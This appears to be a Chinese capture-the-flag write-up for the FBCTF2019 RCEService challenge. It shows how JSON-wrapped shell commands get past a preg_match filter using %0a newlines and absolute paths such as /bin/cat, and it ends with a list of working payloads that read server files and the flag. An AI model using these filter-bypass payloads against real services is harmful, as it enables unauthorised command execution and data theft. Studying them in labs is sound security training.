练[FBCTF2019]RCEService

FBCTF2019RCEService

文章目录

掌握知识

json字符串格式,命令失效(修改环境变量)--绝对路径使用linux命令,%0a绕过preg_match函数,代码审计

解题思路

  1. 打开题目链接,发现可以通过json格式传递命令进行命令执行,但是不知道json的键名,输入ls显示无法识别,查看源代码后发现该输入框的name信息为cmd,确定这就是键,构建paylaod{"cmd":"ls"},抓包查看成功回显信息
  1. 发现命令正常执行,准备查看根目录的文件,由于是get传参,所以空格先编码为%20,但是发现回显hacking,经过测试发现是对/进行了过滤
  1. 既然不能使用/,那就直接使用cat命令查看一下index.php文件,发现还是不行,尝试更改cat的格式进行绕过,发现还是不行。
  1. 仔细想想,既然存在过滤,多半碰到的函数都是preg_match,该函数可以通过换行符%0a和数组进行绕过,因为该函数只会匹配第一行数据,除非设置了参数。所以默认为preg_match函数过滤,构建paylaod{%0a"cmd":"cat%20index.php"%0a}。发现还是不行,但是可以执行ls /命令了,证明前面猜测没问题,还绕过来了过滤
  1. 那为什么cat命令还不行执行呢,都已经绕过了过滤。其实在没有限制的情况下命令还不能执行,只能是该命令被屏蔽了,但是使用其他查看文件的命令也都不可以。
  2. 那可能就是环境变量被更改了,需要使用命令的绝对路径来执行,也就是/bin/cat。再次构建paylaod{%0a"cmd":"/bin/cat%20index.php"%0a}。成功回显了文件内容,还得到了一个病毒提示...
  1. 发现过滤函数确实是preg_match,代码的一开始就将环境变量修改了,既然flag不在根目录下,那很可能就在这个环境变量中,查看环境变量目录结构,发现了flag目录,cat命令直接拿下flag

关键paylaod

php 复制代码
{"cmd":"ls"}

{"cmd":"ls%20/"}

{"cmd":"cat%20index.php"}

{%0a"cmd":"ls%20/"%0a}

{%0a"cmd":"cat%20index.php"%0a}

{%0a"cmd":"/bin/cat%20index.php"%0a}

{%0a"cmd":"ls%20/home/rceserive"%0a}

{%0a"cmd":"/bin/cat%20/home/rceserive/flag"%0a}
相关推荐
damoluomu1 天前
挑 PHP CMS 之前,先学会看它的协议
php
云水一下1 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
一隅论数智1 天前
给AI一张“业务概念地图“:本体如何从哲学走向企业智能
大数据·人工智能·经验分享·笔记·学习·学习方法·政务
一起聊电气1 天前
2026工厂智能照明改造怎么做?从能耗痛点看智慧照明的落地路径
其他
打螺丝的小李1 天前
集团型多基地 QMS 选型:跨工厂质量统一管控谁更强
其他
芯片封装工程师1 天前
台式选择性波峰焊接机,精密焊接新选择
其他
深圳老胡1 天前
STM32F407 控制 L6470 步进电机驱动 —— 控制过程简介
笔记·stm32·单片机·嵌入式硬件·代码规范
Because_of_Her11 天前
并查集-听课笔记
笔记·算法·并查集
彧azz1 天前
Linux 环境下 Redis 学习总结:数据类型、持久化、锁、事务、主从与缓存问题
linux·redis·笔记·学习·面试
陈卫军老师1 天前
陈卫军:把口味写在一张纸上,店才稳得住
经验分享·笔记·流量运营